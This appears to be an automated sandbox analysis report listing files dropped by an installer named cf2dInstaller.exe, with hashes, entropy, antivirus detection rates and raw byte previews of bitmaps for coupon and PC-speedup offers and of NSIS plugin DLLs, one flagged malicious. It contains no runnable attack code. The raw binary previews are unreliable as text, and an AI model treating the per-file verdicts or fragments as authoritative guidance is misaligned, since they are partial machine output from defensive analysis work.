SHA-256:	2BF65F933FC7AF111FB38FA3B5F47DCA8E7E7E60F8EA598788FE00D357AFFAD4
SHA-512:	61C4121A3880985BCDBC63A05D017DDFFED097ED98CE44D7C8F40CCF67174D58FEA5879C8691C5DC1AD28C3999494C93B47BFB860515AEFC637C79FBD8A6FDD2
Malicious:	false
Preview:	BM.1......6...(...................t1..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................U..B..6..=..>..>..>..

C:\Users\user\AppData\Local\Temp\mockup_softwareupdater.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 460 x 300 x 24
Category:	dropped
Size (bytes):	414054
Entropy (8bit):	7.203387256202967
Encrypted:	false
SSDEEP:	12288:Q7hUbRInCzOBI+fneBdanQHp0BP2UQC4KOhh80lFKqp:QZBrGBdanQH0uUEp
MD5:	B3960083A7A7DBEF4DC01A0BFE5B4EFA
SHA1:	78506F0FC1C6787E00D9CFBC26F079D284E8E217
SHA-256:	4BADBDDF8331647046DB7AA78C7C22C8A21639ECE9EBAF543B7A6B629C94C4B4
SHA-512:	1F55E10E04EB6E3B4D3D69F2A279E0252B8EE2593E5B015F33F7EF60794EEE04197BA87D05C5E056FED983A9981BA4C73A4BC2BB7A858AE59AA2A352F4A45204
Malicious:	false
Preview:	BMfQ......6...(.......,...........0Q......................................................................................................................................................................................................................................................................................f.{..x..y..y..z..~.................................................................................................................................................................................................~..}..\|..}..\|..x..x..w..x..y..\|.......~..~..}..}..\|..\|..z..z..z..z..x..x..w..w..u..u..t..t..t..t..r..q..p..o..m..p..s..v..w..u..r..p..q..q..p..o..o..n..n..n..l..l..m..m..l..j..i..h..^..]..]..\..Z..Y..X..W..V..V..T..T..S..S..R..R..O..O..O..N..M..L..L..L..J..J..H..H..G..G..E..E..B..C..C..C..@..=..:..8..3..3..3..2..2..1..0..0.~..~..}-.}-.z,.z,.y+.y*.y).y(.x'.x'.w&.w&.u%.u%.q#.q#.o".n

C:\Users\user\AppData\Local\Temp\moreinfo_coupondropdown.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 370 x 138 x 24
Category:	dropped
Size (bytes):	153510
Entropy (8bit):	5.45308336084627
Encrypted:	false
SSDEEP:	1536:9j08VsVJ8GEQJJPQJJPWXuVBQJJPvJPbh2HhlhHHHhluqdishlhHHHhlhH2hlbRV:k8YZZSqH
MD5:	22D40E1A608414565B19A0957234380C
SHA1:	E92FBF7215F4FF0536FB0D5290842B838B4D3684
SHA-256:	A18AA188424A2C06F11B49F6C57BA4D6F5BBB964448A62663D83E4A03C0A8705
SHA-512:	2334086DAA7166DD83FE9D81B14F586D09A70CAC2118DF9FA34FCE03F7AA25AB87146A93AF369595E666837AE775D764B2ED239780DE876905684967F4B55AA8
Malicious:	false
Preview:	BM.W......6...(...r...............pW................................EI.*1.)/.lq.uz.ch.'0.ti.w..y...B..9..&..)..,..-...../.0.1.1.3.5.8.<.<.?.A.E...H..X3.......................................................................)..C..3.............................................................................2.k1.^z..-.Wb.{...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................;.`F.ki..4.a......L..z....................................................................A..A.....................

C:\Users\user\AppData\Local\Temp\moreinfo_offerbox.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 370 x 196 x 24
Category:	dropped
Size (bytes):	218006
Entropy (8bit):	3.9465816181621554
Encrypted:	false
SSDEEP:	1536:/1vwENBx7LH1sAVgvZ3vD8pJnxcD9+pVg2H2xmnRkh2rPqx+/tLcrZZkN:1xYZ3v+PTgc
MD5:	21C143F0059AFCC60CDF9B8577260BE1
SHA1:	30C4CF892019C5036F5C660899CCE8F37FDEAA11
SHA-256:	CAD324F12091C1FC40A300C6EFBC06A5F0D4888DE9AD68A00687EDCAA07D73AB
SHA-512:	3A18CB0CA004CF787B4A11B3E125FA055465FCC3BE6E4FD1401AAA951AFC16854A7468E3586525F03E39CE7251EB6971D98C4A2E1B05576B959317B2DE01AD80
Malicious:	false
Preview:	BM.S......6...(...r...............`S....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\moreinfo_speedupmypc.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 450 x 190 x 32
Category:	dropped
Size (bytes):	342054
Entropy (8bit):	1.9714963631770055
Encrypted:	false
SSDEEP:	768:Nq0Q8q9ji+WBRKVnT+y3UAi2v1+gqMR/VAVrB3SNZ3qIvkTpU:bQrBUKhT+BAft+gX/ytBCH
MD5:	A7E12F7E5F64EB2EAF0977355353E61C
SHA1:	CC0FFBCB17018740EC1BDC68380D3408C6855359
SHA-256:	1AA5E2B7E08789717F8CDB463E74BC669D87AD3E1CBE024CB1B417EDDBD8833E
SHA-512:	12A150BFA231877D43396186FAF4232866836C0DC48EF130AD50D12D0FD5B07C3F8FB200E8581B5C2C00594C6A4E125FC7D5BB108D8AD158567610C1856F065A
Malicious:	false
Preview:	BM&8......6...(............. ......7....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nshFB42.tmp\ButtonEvent.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	4.423022883583039
Encrypted:	false
SSDEEP:	96:hrA2+5HGZFYJf9D8IjDflDCoMzncsGSmE:hE2+5mMJfJ8v1zFGSm
MD5:	55788069D3FA4E1DAF80F3339FA86FE2
SHA1:	D64E05C1879A92D5A8F9FF2FD2F1A53E1A53AE96
SHA-256:	D6E429A063ADF637F4D19D4E2EB094D9FF27382B21A1F6DCCF9284AFB5FF8C7F
SHA-512:	D3B1EEC76E571B657DF444C59C48CAD73A58D1A10FF463CE9F3ACD07ACCE17D589C3396AD5BDB94DA585DA08D422D863FFE1DE11F64298329455F6D8EE320616
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: M482R9PvH5.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%Nr.a/..a/..a/..hW..d/..a/..j/..5.,.`/...Y..`/...Y..`/...Y..`/...Y..`/..Richa/..........PE..L...3*.M...........!......................... ...............................`............@.........................p!......H ..<....@.......................P....................................................... ..4............................text...;........................... ..`.rdata....... ......................@..@.data...l....0......................@....rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nshFB42.tmp\System.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.568877095847681
Encrypted:	false
SSDEEP:	192:7DKnJZCv6VmbJQC+tFiUdK7ckD4gRXKQx+LQ2CSF:7ViJrtFRdbmXK8+PCw
MD5:	C17103AE9072A06DA581DEC998343FC1
SHA1:	B72148C6BDFAADA8B8C3F950E610EE7CF1DA1F8D
SHA-256:	DC58D8AD81CACB0C1ED72E33BFF8F23EA40B5252B5BB55D393A0903E6819AE2F
SHA-512:	D32A71AAEF18E993F28096D536E41C4D016850721B31171513CE28BBD805A54FD290B7C3E9D935F72E676A1ACFB4F0DCC89D95040A0DD29F2B6975855C18986F
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: userbenchark.exe, Detection: malicious, Browse Filename: SXXXY8SJL7.exe, Detection: malicious, Browse Filename: codecs.for.windows.7.pack.v4.0.5.setup.exe, Detection: malicious, Browse Filename: vcredist_2010.exe, Detection: malicious, Browse Filename: vcredist_2010(1).exe, Detection: malicious, Browse Filename: v.exe, Detection: malicious, Browse Filename: okIQd4f03Z.exe, Detection: malicious, Browse Filename: UniWriter_v4-50_20210907.exe, Detection: malicious, Browse Filename: UserBenchMark.exe, Detection: malicious, Browse Filename: Unlocker1.9.2.exe, Detection: malicious, Browse Filename: PCWProtectorSetup_Voice_Service.exe, Detection: malicious, Browse Filename: DF7049B8C4D704376BE3920232B1BA6B2C8CF2FF0F9CF.exe, Detection: malicious, Browse Filename: DF7049B8C4D704376BE3920232B1BA6B2C8CF2FF0F9CF.exe, Detection: malicious, Browse Filename: OlqEbWmiBN.exe, Detection: malicious, Browse Filename: WiseConvert.exe, Detection: malicious, Browse Filename: WP6TzYzWmG.exe, Detection: malicious, Browse Filename: WP6TzYzWmG.exe, Detection: malicious, Browse Filename: GgIUkupW7u.exe, Detection: malicious, Browse Filename: sonus_2_3_15.exe, Detection: malicious, Browse Filename: connect_901059.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j....l.9..i....l.Richm.........................PE..L......K...........!................0).......0...............................`......................................p2......t0..P............................P.......................................................0..X............................text...1........................... ..`.rdata.......0......."..............@..@.data...d....@.......&..............@....reloc.......P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nshFB42.tmp\ToolkitOffers.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	250880
Entropy (8bit):	6.065332871140211
Encrypted:	false
SSDEEP:	3072:hb0VmAw9fh4OZGsz7dFG3plCyUSSOpITbI/o29OzU+VYeEuaQWkMx0mBo:hb0ont+PXCypeQgyDZQWbnBo
MD5:	3C6A9490F32CF8ACA12252188874DADE
SHA1:	4DF69FE59C10F2CD6DE472E5FC05EED5A489998B
SHA-256:	89EBAB8D0675D7B79A3D0A455EC55D0B87AA0804CFD092E30F3D1142F0CE1109
SHA-512:	E8CE3378BB4CFB95CBE5EA0AD83FBF8E129CDFA0E724346B789C3F43C76B8A81D85B1C1B1C1C3FE7DE0BF2B00E3C8FE485B2D784D8BBAF2221FAA2CE20AA6BE5
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 22%, Browse Antivirus: ReversingLabs, Detection: 22%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Q>..?m..?m..?m.8.m..?mc^.m..?mc^.m.?mc^.m+.?m..m..?m..>m.?m._.m..?m._.m..?m._.m..?m...m..?m._.m..?mRich..?m................PE..L...\|e.P...........!.........j.......=....................................... ............@.........................@;..A....2..P................................ .....8...............................@...............t............................text.............................. ..`.rdata..............................@..@.data...X;...@.......(..............@....rsrc................D..............@..@.reloc...............J..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nshFB42.tmp\modern-header.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 150 x 57 x 8
Category:	dropped
Size (bytes):	9744
Entropy (8bit):	7.274136927028791
Encrypted:	false
SSDEEP:	192:TYw3C/LSnMoejFXnknIHbGoijTr3dBZ9KPPsnY/T0x9j:TY3LSnlepnknIHKoUrdBZ9uPsY/Ix9j
MD5:	940C56737BF9BB69CE7A31C623D4E87A
SHA1:	F2F3B4E7B9C28DF6687CEEAED300A793E3BAC445
SHA-256:	766A893FE962AEFD27C574CB05F25CF895D3FC70A00DB5A6FA73D573F571AEFC
SHA-512:	81C60431619D7EB826B8DA997C227C4F7077CC754CAA15DF6E0E7AE0E33690432BC2A27A7E295998F15E33A17B3D80E492D7CC09FD70DC43DAF1CFE86B8746FF
Malicious:	false
Preview:	BM.&......6...(.......9............!...................................o...x......wex.........................................................................................................................................................vo..............................................................................c..g..f..g..h..h..i..j..k..l..m..n..n..o..p..s..t.....w..x..~..z..y..}..\|..\|..\|..}...............................l`...{..............w..........................................................................................................................................i..m..o..p..q..t..u..y..z..{..\|..cS.........................................................................................................................^L................................jT..v]..qZ..gS..~f.........................s......t.....................

C:\Users\user\AppData\Local\Temp\nshFB42.tmp\modern-wizard.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 164 x 314 x 4
Category:	dropped
Size (bytes):	26494
Entropy (8bit):	1.9568109962493656
Encrypted:	false
SSDEEP:	24:Qwika6aSaaDaVYoG6abuJsnZs5GhI11BayNXPcDrSsUWcSphsWwlEWqCl6aHAX2x:Qoi47a5G8SddzKFIcsOz3Xz
MD5:	CBE40FD2B1EC96DAEDC65DA172D90022
SHA1:	366C216220AA4329DFF6C485FD0E9B0F4F0A7944
SHA-256:	3AD2DC318056D0A2024AF1804EA741146CFC18CC404649A44610CBF8B2056CF2
SHA-512:	62990CB16E37B6B4EFF6AB03571C3A82DCAA21A1D393C3CB01D81F62287777FB0B4B27F8852B5FA71BC975FEAB5BAA486D33F2C58660210E115DE7E2BD34EA63
Malicious:	false
Preview:	BM~g......v...(.......:............g..................................................................................DDD@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDD@@@@@@..DDD....DDDDDD........................................DDDDDDDDDD....DDDDDDDDD........DD@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@DDDDDDDDDD@@@@@@D..DD....DDDDDDD......................................DDDDDDDDDD....DDDDDDDDDD......D..D@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDDD@@@@@DDD..D.....DDDDDD......................................DDDDDDDDD.....DDDDDDDDD......DDD..@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDDD@@@@@@DDDD.......DDDDDD.....................................DDDDDDDDDD....DDDDDDDDDD.....DDDDD..@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDD@@@@@@DDDDDD.......DDDDDD....................................DDDDDDDDD....DDDDDDDDDD......DDDDDD..@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

C:\Users\user\AppData\Local\Temp\nshFB42.tmp\nsArray.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	6.1415258936118144
Encrypted:	false
SSDEEP:	96:TjGBPJ762z6gjutipI+h7jz5ozZt/aYfA7EfXxLfAZi:/ix7ibUpIS+Xa1wX2Zi
MD5:	F8462E9D1D7FD39789AFCA89AB6D6046
SHA1:	7E9A518E15B7490245D2BEF11A73F209C8D8D59B
SHA-256:	48941E9F5C92A33F1E60A7A844D562DD77CE736FD31B5503C980B49679DFE85E
SHA-512:	57DEE2253ABD7D17D53811D5E95237F9434288518FB043645524A517786DB2D8A91DF86A6DA732C620F12AD0E7EA30A923B8D5F3DE386C65BD3FF240BC0DFF69
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............p...p...p.....p...q...p...@...p......p......p......p......p.Rich..p.........PE..L...Q.8O...........!.............p........................................................@.........................$.......X...........X..........................................................................................................UPX0.....p..............................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................................................................................3.07.UPX!....

C:\Users\user\AppData\Local\Temp\nshFB42.tmp\nsDialogs.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	5.054726426952
Encrypted:	false
SSDEEP:	96:hBABCcnl5TKhkfLxSslykcxM2DjDf3GE+Xv8Xav+Yx4VndY7ndS27gA:h6n+0SAfRE+/8ZYxMdqn420
MD5:	C10E04DD4AD4277D5ADC951BB331C777
SHA1:	B1E30808198A3AE6D6D1CCA62DF8893DC2A7AD43
SHA-256:	E31AD6C6E82E603378CB6B80E67D0E0DCD9CF384E1199AC5A65CB4935680021A
SHA-512:	853A5564BF751D40484EA482444C6958457CB4A17FB973CF870F03F201B8B2643BE41BCCDE00F6B2026DC0C3D113E6481B0DC4C7B0F3AE7966D38C92C6B5862E
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.cXN`0XN`0XN`0XNa0mN`0.A=0UN`0.mP0]N`0.Hf0YN`0.nd0YN`0RichXN`0........................PE..L......K...........!......... ...............0.......................................................................6..k....0.......`.......................p.......................................................0...............................text...G........................... ..`.rdata..k....0......................@..@.data........@......................@....rsrc........`....... ..............@..@.reloc..<....p......."..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nshFB42.tmp\version.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	6.382057426081739
Encrypted:	false
SSDEEP:	96:nPtMckE1e91BopVyXwUhn3f1I0vOKeoqO4d8QvS9:n1MMuOUhdI0c04yV9
MD5:	EBC5BB904CDAC1C67ADA3FA733229966
SHA1:	3C6ABFA0DDEF7F3289F38326077A5041389B15D2
SHA-256:	3EBA921EF649B71F98D9378DEE8105B38D2464C9CCDE37A694E4A0CD77D22A75
SHA-512:	FA71AFCC166093FBD076A84F10D055F5A686618711D053AB60D8BD060E78CB2FDC15FA35F363822C9913413251C718D01DDD6432AB128816D98F9AABF5612C9F
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.........................................@.....................................................................x.......`...................................................................................................................UPX0....................................UPX1................................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................................1.25.UPX!....

C:\Users\user\AppData\Local\Temp\pricepeep_logo.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 200 x 200 x 24
Category:	dropped
Size (bytes):	120054
Entropy (8bit):	5.434064119511097
Encrypted:	false
SSDEEP:	768:mNEgxB978ZSR3eaPNz3Q0W+QOmYbISuYzvHdlZNHPxZ17Z8HR4J/p+pgV9qiwqcF:oEgf6FYkmrf17aWF3V9/90D
MD5:	7496D3136648495DC5A7E00F20AA0622
SHA1:	14472D20BEDCA8E940720B77D2E4297561056531
SHA-256:	396DD6CFB3C1872A3D741CAFAC92791F4D338330D0C750618C0C602A9B20D124
SHA-512:	F2BC17DE8BCC6D0143C3FE72B1A6DDFC0932C644589CC8A706A228A26F31945847528FC0BDD84076FED690D953E885DC19A67514229BA6D2016F28BD5D55DCA8
Malicious:	false
Preview:	BM........6...(.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\richtext1.rtf Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	Rich Text Format data, version 1, ANSI
Category:	dropped
Size (bytes):	6113
Entropy (8bit):	4.899171822655775
Encrypted:	false
SSDEEP:	96:Vo0PXw7EPRUaY5XcKevXAkB0kI4xtkLE1hmkykJNBVkNO5koa/jkNLRSEILgh:67CHvt0+WW1g4SrLU
MD5:	169AC9E650F94916D2DCBB154FEB45AB
SHA1:	B406B10285BFBD618E3A2A7C34678726D05FB0C0
SHA-256:	5F51AC367979BD4F2C3E50B76A892B46BE51CD88CDD9D3B35B478EC34DE32895
SHA-512:	3228747E376786A53B4A550518FAB0073ECF921173D526A1A759357C8E918538586D632D6027FFC0881AEB4E6B369DD051A56437B889700A11FCC5E54D4C536D
Malicious:	false
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset0 Times New Roman;}{\f4\froman\fprq2\fcharset0 Arial;}{\f5\froman\fprq0\fcharset1 Times New Roman;}{\f6\fswiss\fprq0\fcharset1 Arial;}{\f7\froman\fprq2\fcharset0 Cambria Math;}{\f8\fnil\fprq2\fcharset0 Droid Sans Fallback;}{\f9\fnil\fprq2\fcharset0 Arial;}{\f10\fnil\fprq2\fcharset0 Times New Roman;}{\f11\fnil\fprq0\fcharset1 Lohit Hindi;}{\f12\fnil\fprq2\fcharset0 Cambria Math;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;\red255\green66\blue14;\red255\green0\blue0;\red34\green34\blue34;\red255\green255\blue255;}.{\stylesheet{\s0\snext0\ql\nowidctlpar\ltrpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\dbch\af9\langfe2052\dbch\af11\afs24\alang1081\loch\f5\fs24\lang3082 Predeterminado;}.{\s15\sbasedon0\snext16\ql\nowidctlpar\sb240\sa120\keepn\ltrpar\cf0\kerning1\dbch\af8\langfe2052\dbch

C:\Users\user\AppData\Local\Temp\square_babylon.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 24 x 24 x 8
Category:	dropped
Size (bytes):	1650
Entropy (8bit):	6.679372833931945
Encrypted:	false
SSDEEP:	24:Vh70bNQzhqWDbRK7L5HcrB2GQuapE3AaZCBelzz8JShdr5/Z5klbquB:bg/Wq1HezQ3pEwaOmAJ6F/vy
MD5:	811296BE3855DBE1B72546EC798F0D00
SHA1:	900EA5E4DA8C46C2F1A52F39EAA3B791B43C41EB
SHA-256:	947289A34258F6601FDB17549E373C7E7D5225B205602AE1CFD4B5C3EB18C8EA
SHA-512:	87D07838C49CD960E5F3B77085326B856D432B2F9EEFC364BE4D5BB7BC8F41AC5D099EE3A3FF4551199171B19C922FB87C2F2A530061F40D2F5E48B9AB11E1BC
Malicious:	false
Preview:	BMr.......2...(...................@....................d.>.?.......H.....v...{..........h8.......~D.......Y.w<.......j..I)..S...\..........}.....#.E.unc...>.......$\...s...L......m..1....?&.!...c6.D...\|......K..O........O.......j..o..^2.........v@.._3....g.Z....[...Q.....T........8#...a......2........I..i9..m...........[...C..............06...\....V.9)...n;.q.\|.. ...F....h.W1...........A(......t=."....R..=...;....j..RD4.....(...&...K"..:J!.&...&4...].C!..o>...p..F$...J(.....................k..f......kQ..D`Q...S.......k.... ....t......3...g....R........D.f...S...#....[...3....h.zD...........l....J.&".........1vK.I..4......G..l2...q;...D.....n...............`..Sb%.....Jq0.9.>...`....h......y....x.AB..VC...r..MW!..............................?2...........h.1.S..v...~@..d...h....A.....J.x...{.]..{.........<.L.W.Z..b..............m..z...S...w..E'...........C..U>...y.............Ps\..w.............N9...$.......L..0..[........h..4....-...f...o.u.}.\;

C:\Users\user\AppData\Local\Temp\square_babylonv2.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 24 x 24 x 8
Category:	dropped
Size (bytes):	1650
Entropy (8bit):	6.679372833931945
Encrypted:	false
SSDEEP:	24:Vh70bNQzhqWDbRK7L5HcrB2GQuapE3AaZCBelzz8JShdr5/Z5klbquB:bg/Wq1HezQ3pEwaOmAJ6F/vy
MD5:	811296BE3855DBE1B72546EC798F0D00
SHA1:	900EA5E4DA8C46C2F1A52F39EAA3B791B43C41EB
SHA-256:	947289A34258F6601FDB17549E373C7E7D5225B205602AE1CFD4B5C3EB18C8EA
SHA-512:	87D07838C49CD960E5F3B77085326B856D432B2F9EEFC364BE4D5BB7BC8F41AC5D099EE3A3FF4551199171B19C922FB87C2F2A530061F40D2F5E48B9AB11E1BC
Malicious:	false
Preview:	BMr.......2...(...................@....................d.>.?.......H.....v...{..........h8.......~D.......Y.w<.......j..I)..S...\..........}.....#.E.unc...>.......$\...s...L......m..1....?&.!...c6.D...\|......K..O........O.......j..o..^2.........v@.._3....g.Z....[...Q.....T........8#...a......2........I..i9..m...........[...C..............06...\....V.9)...n;.q.\|.. ...F....h.W1...........A(......t=."....R..=...;....j..RD4.....(...&...K"..:J!.&...&4...].C!..o>...p..F$...J(.....................k..f......kQ..D`Q...S.......k.... ....t......3...g....R........D.f...S...#....[...3....h.zD...........l....J.&".........1vK.I..4......G..l2...q;...D.....n...............`..Sb%.....Jq0.9.>...`....h......y....x.AB..VC...r..MW!..............................?2...........h.1.S..v...~@..d...h....A.....J.x...{.]..{.........<.L.W.Z..b..............m..z...S...w..E'...........C..U>...y.............Ps\..w.............N9...$.......L..0..[........h..4....-...f...o.u.}.\;

C:\Users\user\AppData\Local\Temp\square_babylonv3.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 24 x 24 x 8
Category:	dropped
Size (bytes):	1650
Entropy (8bit):	6.679372833931945
Encrypted:	false
SSDEEP:	24:Vh70bNQzhqWDbRK7L5HcrB2GQuapE3AaZCBelzz8JShdr5/Z5klbquB:bg/Wq1HezQ3pEwaOmAJ6F/vy
MD5:	811296BE3855DBE1B72546EC798F0D00
SHA1:	900EA5E4DA8C46C2F1A52F39EAA3B791B43C41EB
SHA-256:	947289A34258F6601FDB17549E373C7E7D5225B205602AE1CFD4B5C3EB18C8EA
SHA-512:	87D07838C49CD960E5F3B77085326B856D432B2F9EEFC364BE4D5BB7BC8F41AC5D099EE3A3FF4551199171B19C922FB87C2F2A530061F40D2F5E48B9AB11E1BC
Malicious:	false
Preview:	BMr.......2...(...................@....................d.>.?.......H.....v...{..........h8.......~D.......Y.w<.......j..I)..S...\..........}.....#.E.unc...>.......$\...s...L......m..1....?&.!...c6.D...\|......K..O........O.......j..o..^2.........v@.._3....g.Z....[...Q.....T........8#...a......2........I..i9..m...........[...C..............06...\....V.9)...n;.q.\|.. ...F....h.W1...........A(......t=."....R..=...;....j..RD4.....(...&...K"..:J!.&...&4...].C!..o>...p..F$...J(.....................k..f......kQ..D`Q...S.......k.... ....t......3...g....R........D.f...S...#....[...3....h.zD...........l....J.&".........1vK.I..4......G..l2...q;...D.....n...............`..Sb%.....Jq0.9.>...`....h......y....x.AB..VC...r..MW!..............................?2...........h.1.S..v...~@..d...h....A.....J.x...{.]..{.........<.L.W.Z..b..............m..z...S...w..E'...........C..U>...y.............Ps\..w.............N9...$.......L..0..[........h..4....-...f...o.u.}.\;

C:\Users\user\AppData\Local\Temp\square_coupish.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 24 x 23 x 32
Category:	dropped
Size (bytes):	2262
Entropy (8bit):	5.469186836511211
Encrypted:	false
SSDEEP:	48:zXZhKvEDWzqGgqowMe38R7rIDlRQ4QrbvpsNN3:zz7SmzuU7rcRwKNt
MD5:	F0ACA93F6F9B3D5A4F6B327264EEA704
SHA1:	2C25B8D50DC0B5BC57613F6409238A5DF557AFFA
SHA-256:	06237F263113725A74301E8A35E7B3C2614D6448CC1D32CA3000B99F23356C1F
SHA-512:	7899D14F77F86EAB94CCF3F643930A7AB8ACC8455A74AF57678D62EF0DF54BCB6C390925BDBFBE9B42490AB7FA7026ADCEFBD06C60617761ED92C74FE1DD4D50
Malicious:	false
Preview:	BM........6...(............. .......................................................+p...f...d..y......................................................................\....[...a...f...f...d..y.........................@.........................................e...f...g...f...g...h...f..\|.................................x..............................X...g...f...g...a...V...D...4m.AC;..{...............................p..................... a...g...f...h...U..Rn......................niW.P9.......................b.............r....c...f...g...W.............................................................................T...g...f...b..................................................<>B...........................T...g...f..P.......................................................40".....................E..j...g...e..................................................................................%[..k...g...e....................................................................

C:\Users\user\AppData\Local\Temp\square_coupondropdown.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe
File Type:	PC bitmap, Windows 3.x format, 75 x 12 x 24
Category:	dropped
Size (bytes):	2790
Entropy (8bit):	6.703176065146242
Encrypted:	false
SSDEEP:	48:pvjmwDPwWC9QGIq3PMimZnOhvrt2CY7tWj9yVcaR8GiTyPizlhvB6pzzI476Y:pvjmwDPYQGIq3PMlNm4CmtWj9yVZiHVs
MD5:	5E60FDB00BB589D9661398CA92FB3D83
SHA1:	533EFBB92C83F4470D0BBB84E1DE97147BDB47AB
SHA-256:	2E26DD2AAA534532E4581AEC187CEC19597493292926E8510E1443698DD6494A
SHA-512:	9886BB44961B9233818D89E8CED9A9FD333C5262F6E5B09C3F8F56D73E217786C6B7A4B932BBB98FA7C008BFFFBC53232528229587E44B2C59A9C8EC9675A595
Malicious:	false
